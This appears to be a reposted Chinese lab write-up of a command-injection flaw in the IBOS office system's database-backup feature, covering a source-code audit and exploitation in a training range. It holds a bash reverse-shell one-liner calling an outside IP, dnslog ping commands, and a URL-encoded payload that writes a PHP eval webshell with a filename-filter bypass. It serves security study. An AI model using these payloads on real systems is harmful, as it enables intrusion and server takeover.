命令执行漏洞--ibos靶场(靶场环境是掌控安全的)

这篇具有很好参考价值的文章主要介绍了命令执行漏洞--ibos靶场(靶场环境是掌控安全的)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

基础知识

命令执行:用户传入的参数,会被当成系统指令来执行,指令内容用户可控,属于代码执行的一种
ctrl+u:在view-source模式自动换行

危险函数

1. system()函数:直接执行命令,并且输出
2. exec()函数:默认显示最后一行结果,没有输出
3. shell_exec()函数:多行结果,没有输出
4. passthru()函数:等价于system()函数
5. ``(反引号):反引号里面的内容优先执行,在linux中较多
6. fopen()函数

特殊技巧(我也不知道是干啥的技巧)

1. 通过 > 符号,将结果输出到某个文件里面,结果覆盖保存
2. 通过 >> 符号,将结果输出到某个文件里面,结果末尾追加
3. |  管道符,将前面的指令运行结果,当成后面指令的输入内容`ipconfig| findstr "IPv4"`

结果没有输出(没有回显),怎么判断是否执行

1. 使用dnslog数据外带
`ping -n 1 2.abt1zl.dnslog.cn  # windows 用 -n 指定ping的次数`
`ping -c 1 2.abt1zl.dnslog.cn  # linux 用 -c 指定ping的次数`
2. 将指令的结果输出到一个文本文件中,然后去访问这个文件

disable_function:用于禁止某些函数,接受逗号分隔的函数名列表作为参数

php代码审计重点

1. 跟进函数分析 function 函数名
2. 全局搜索危险函数
3. 是否过滤:sql过滤通过正则匹配sql(危险函数)token绑定,签名:硬编码
4. 过滤能否绕过

利用思路

1. 写一个一句话木马
2. 反弹shell
    需要一个能被目标访问到的ip和端口
    通过指令获得 一个远程的终端 由服务器主动外联,提供一个终端的
    bash -i >& /dev/tcp/192.168.189.128/8888 0>&1 2>&1
3. 直接上马(后门)

 审计ibos.exe文件

用exe文件搭建环境的原因:搭建过程简单,对源码的保密,源码通常对运行环境要求非常苛刻
源码审计如何去做:
1. 分析代码是否加密,使用了加密手法:一般exe文件中内容会加密,可以打开文件头/文件尾查看是否有标识性的特征,搜索后进行解密(SeayDzend)
2. 分析源码:最后可控的变量是在最后面

ibos 使用了 yii 框架(php框架) => 对标 thinkphp框架

其他绕过方法:

&&:与
||:或
&:%26

本地环境

环境搭建

点击exe文件进行安装,预防后期需要使用浏览器查看,将其安装在网站根目录下

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

安装后会有框架,所以感觉安装在网站根目录下的选择有点错误
安装界面

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

安装完成,打开目录下的文件进行查看
发现有些文件进行加密处理过

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

针对这种加密文件,我们可以查看文件头或者文件尾,寻找其特征,此靶场我们可以发现文件头有Zend 2004072203 65540 979 3393 等字段,可以进行百度搜索

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

根据搜索结果得知是zend guard 5.5加密

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

此时我们可以用百度搜索在线解密软件,或者直接用软件:SeayDzend进行解密(此靶场使用第二种方法)

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

发现软件最高只有5.4版本,又搜了一下,发现可能是5.3版本加密,进行解密

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

查看解密后的文件,确定就是5.3版本加密

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

接下来进行代码审计,首先搜索危险函数system(),没啥用

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

继续搜索exec()函数

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

 Database.php文件

根据提示找到漏洞点
执行mysqldump命令,通过查询将数据库内容的信息(主机、用户名、密码、数据库名)导入到文件中
mysqldump工具是备份MySQL数据库的工具,可以将数据库中的数据和结构导出到一个SQL文件中,以便日后恢复数据。
1. 首先,运行mysqldump命令。
2. 指定要备份的数据库名称。
3. 可以选择导出数据和结构,或只导出其中之一。
4. 将导出的内容保存到一个SQL文件中,以便以后使用。

此时猜测此漏洞和数据备份功能相关
其中对末尾的文件名:$dumpFile进行猜测是否可控

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

在文件内ctrl+f进行搜索变量名:$dumpFile,向上查看是否有对文件名的处理
其中像类似这种的情况不是对文件名的初始化处理,所以还需要向上寻找

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

一直找到文件的第353行,根据unlink函数猜测是与删除文件有关

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

继续向下读代码(352-361行),此段代码会将文件删除后再次进行文件的备份

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

继续向上读代码,查找要删除的$dumpFile的来源(352行)
拼接备份文件的文件名并添加后缀.sql,此时我们可以使用`xxx||1.php`进行绕过

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

继续向上查找$backupFileName的来源(239行)
使用正则对$fileName进行匹配,将路径和文件名进行拼接,其中对文件名中的/(反斜杠)、\\(双斜杠)、.(点)、'(单引号)进行过滤,替换为空,并赋值给$backupFileName

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

再次跟进拼接的变量$fileName(166-171行)
fileName使用getRequest方法得到,

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

根据定义的类core\utils\Env,找到core\utils\Env文件,在文件内搜索getRequest方法(115-139行)

core\utils\Env(115-139行)

Ibos::app() 调用静态方法获取应用程序的实例,并从中获取request对象
$fileName只传了一个参数,所以只有变量key是可控的,同时变量type的值默认是“GP”,所以case选项只有G和P两个选择
当type=G的时候,变量var=request使用$request->getQuery($key, $defaultValue)方法获取特定键的值

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

此时我们直接去全局搜索getQuery函数
判断是否存在get方式得到的name,如果存在则返回,不存在返回默认值(空)
此时猜想getPost函数是判断是否存在post方式得到的name

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

此时可以确定env文件中的request变量是接收来自get或者post传参,且功能为网站数据备份

去网站查看数据备份功能

因为是对数据进行备份,所以是需要登录后台的

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

在通用设置->数据库中找到备份功能

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

发现备份分为ibos备份和自定义备份(差不多的东西,不想说了),先尝试ibos备份功能,点击提交后使用bp进行抓包,没看见有可利用的点

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

再次查看Database文件shell_exec函数附件,发现还需要满足method不等于multivol

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

发现下面还有更多的选项(更多选项中包含shell备份和分卷备份,刚开始以为两种方法都能用,后来发现ibos就是shell备份写shell,所以此处还要选择shell备份),打开后发现有备份文件名,且文件名可以修改,后缀为.sql,联想到Database文件中的.sql后缀的绕过,

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

点击提交,使用bp抓包,文件名可改,且后缀为.sql

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

因为文件对文件名单引号过滤,所以此处包含文件可使用双引号和反引号(我想用双引号)将文件名改为

%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%26


从而将木马写入1.php文件(因为此时还对点进行过滤了,所以我们先尝试写入1文件,先测试此功能是否可行,再研究绕过问题),此时.被过滤,需要再次寻找绕过方式

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

将修改后的数据包进行放行,此时再打开浏览器,出现了报错(但是没事),在当前目录下访问1文件,此时访问后会将文件下载,打开后发现将木马成功写入

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

.绕过

可参考此文章https://bbs.zkaq.cn/t/4557.htm
截取字符串的语法就是 %变量名:~x,y%
PATHEXT在windows中是环境变量,此时第一位是.

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

所以我们可以借助%PATHEXT:~0,1%(其中0,1是指从第0位开始取1位)来得到.

此时要插入的语句为:%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26

使用bp进行抓包,修改数据包

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

放包后访问1.php文件,绕过成功

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

靶场环境

根据题目提供的账号密码直接登录(账号:admin,密码zkaqzkaq),找到管理后台 -> 通用设置 -> 数据库,进行备份操作
其中数据备份类型随意选择即可,更多选项中数据备份方式要选择shell备份

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

点击提交后使用bp进行抓包,插入木马语句

%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

放包后查看网站目录下的1.php文件,绕过成功

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

根据题目提示:flag在网站的system\\config\\config.php中的authkey的值,所以我们还需要连接哥斯拉进行查看flag

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记

找到flag:7441b88SH97Jzndp

命令执行漏洞--ibos靶场(靶场环境是掌控安全的),web,学习方法,笔记文章来源地址https://www.toymoban.com/news/detail-853286.html

到了这里,关于命令执行漏洞--ibos靶场(靶场环境是掌控安全的)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全:WebGoat 靶场搭建(WEB漏洞测试和练习)

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有 java 虚拟机的平台之上,包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、

    2024年02月12日
    浏览(32)
  • Web安全:bWAPP 靶场搭建.(集成了各种常见漏洞和最新漏洞的开源Web应用程序)

    bWAPP是一个集成了了常见漏洞的 web 应用程序,目的是作为漏洞测试的演练场,帮助安全爱好者,开发人员和学生发现和防止Web漏洞。它有超过100个网络漏洞数据,包括所有主要的已知网络漏洞. Web安全:bWAPP 靶场搭建. 靶场安装步骤: 第一步:(1)安装 phpStudy. 第二步:(

    2024年02月09日
    浏览(34)
  • BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)

    渗透测试(Penetration test)即安全工程师模拟黑客,在合法授权范围内,通过信息搜集、漏洞挖掘、权限提升等行为,对目标对象进行安全测试(或攻击),最终找出安全风险并输出测试报告。 Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况

    2024年02月13日
    浏览(34)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(42)
  • 【网络安全】命令执行漏洞

    应用程序中有时候需要调用一些执行系统命令的函数,在php中常见的为 system 、 exec 、 shell_exec 、 passthru 、 proc_poen 、 popen 等函数用来执行系统命令。当黑客能控制这些函数的参数时,就可以讲恶意的系统命令拼接到正常的命令中,就会命令执行攻击,这就是命令执行漏洞。

    2024年02月03日
    浏览(29)
  • 多个安全厂商安全设备 远程命令执行漏洞复现

    此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 该漏洞可执行远程代码 FOFA:body=“/webui/images/default/default/alert_close.jpg”

    2024年02月03日
    浏览(30)
  • 数据库安全:Hadoop 未授权访问-命令执行漏洞.

    Hadoop 未授权访问主要是因为 Hadoop YARN 资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令,最终完全控制服务器。 数据库安全:Hadoop 未授权访问-命令执行漏洞. Hadoop 未授权访问-命令执行漏

    2024年02月05日
    浏览(32)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(30)
  • 安恒信息-明御安全网关 命令执行漏洞分析

    目录 注意 漏洞描述 漏洞位置 漏洞代码 POC: 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 安恒信息-明御安全网关存在命令执行漏洞,导致攻击者可以直接执行系统命令,从而控制目标系

    2024年02月12日
    浏览(35)
  • 亿赛通电子文档安全管理系统远程命令执行漏洞复现

    此文章仅用于技术交流,严禁用于对外发起恶意攻击!!! 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进

    2024年01月21日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包